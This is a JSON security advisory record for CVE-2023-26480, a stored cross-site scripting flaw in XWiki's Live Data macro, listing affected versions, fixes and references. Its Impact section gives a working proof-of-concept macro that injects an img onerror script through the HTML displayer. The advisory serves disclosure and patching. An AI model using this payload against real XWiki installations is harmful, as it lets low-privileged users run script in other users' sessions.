{"id":"GHSA-32fq-m2q5-h83g","summary":"XWiki-Platform vulnerable to stored Cross-site Scripting via the HTML displayer in Live Data","details":"### Impact\nA user without script rights can introduce a stored XSS by using the Live Data macro.\n\nFor instance:\n\n```\n{{liveData id=\"movies\" properties=\"title,description\"}}\n{\n  \"data\": {\n    \"count\": 1,\n    \"entries\": [\n      {\n        \"title\": \"Meet John Doe\",\n        \"url\": \"https://www.imdb.com/title/tt0033891/\",\n        \"description\": \"\u003cimg onerror='alert(1)' src='foo' /\u003e\"\n      }\n    ]\n  },\n  \"meta\": {\n    \"propertyDescriptors\": [\n      {\n        \"id\": \"title\",\n        \"name\": \"Title\",\n        \"visible\": true,\n        \"displayer\": {\"id\": \"link\", \"propertyHref\": \"url\"}\n      },\n      {\n        \"id\": \"description\",\n        \"name\": \"Description\",\n        \"visible\": true,\n        \"displayer\": \"html\"\n      }\n    ]\n  }\n}\n{{/liveData}}\n```\n\n### Patches\nThis has been patched in XWiki 14.9, 14.4.7, and 13.10.10.\n\n### Workarounds\nNo known workaround.\n\n### References\nhttps://jira.xwiki.org/browse/XWIKI-20143\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira](http://jira.xwiki.org/)\n* Email us at [Security ML](mailto:security@xwiki.org)\n","aliases":["CVE-2023-26480"],"modified":"2026-09-10T03:49:52.549164585Z","published":"2023-03-03T22:53:51Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2023-03-03T22:53:51Z","nvd_published_at":"2023-03-02T18:15:00Z","cwe_ids":["CWE-79"]},"references":[{"type":"WEB","url":"https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-32fq-m2q5-h83g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-26480"},{"type":"WEB","url":"https://github.com/xwiki/xwiki-platform/commit/23d5ea9b23e84b5f3d1f1b2d5673fe8c774d0d79"},{"type":"WEB","url":"https://github.com/xwiki/xwiki-platform/commit/556e7823260b826f344c1a6e95d935774587e028"},{"type":"PACKAGE","url":"https://github.com/xwiki/xwiki-platform"},{"type":"WEB","url":"https://jira.xwiki.org/browse/XWIKI-20143"}],"affected":[{"package":{"name":"org.xwiki.platform:xwiki-platform-livedata-macro","ecosystem":"Maven","purl":"pkg:maven/org.xwiki.platform/xwiki-platform-livedata-macro"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.10"},{"fixed":"13.10.10"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/03/GHSA-32fq-m2q5-h83g/GHSA-32fq-m2q5-h83g.json"}},{"package":{"name":"org.xwiki.platform:xwiki-platform-livedata-macro","ecosystem":"Maven","purl":"pkg:maven/org.xwiki.platform/xwiki-platform-livedata-macro"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"14.0"},{"fixed":"14.4.7"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/03/GHSA-32fq-m2q5-h83g/GHSA-32fq-m2q5-h83g.json"}},{"package":{"name":"org.xwiki.platform:xwiki-platform-livedata-macro","ecosystem":"Maven","purl":"pkg:maven/org.xwiki.platform/xwiki-platform-livedata-macro"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"14.5"},{"fixed":"14.9"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/03/GHSA-32fq-m2q5-h83g/GHSA-32fq-m2q5-h83g.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:L"}]}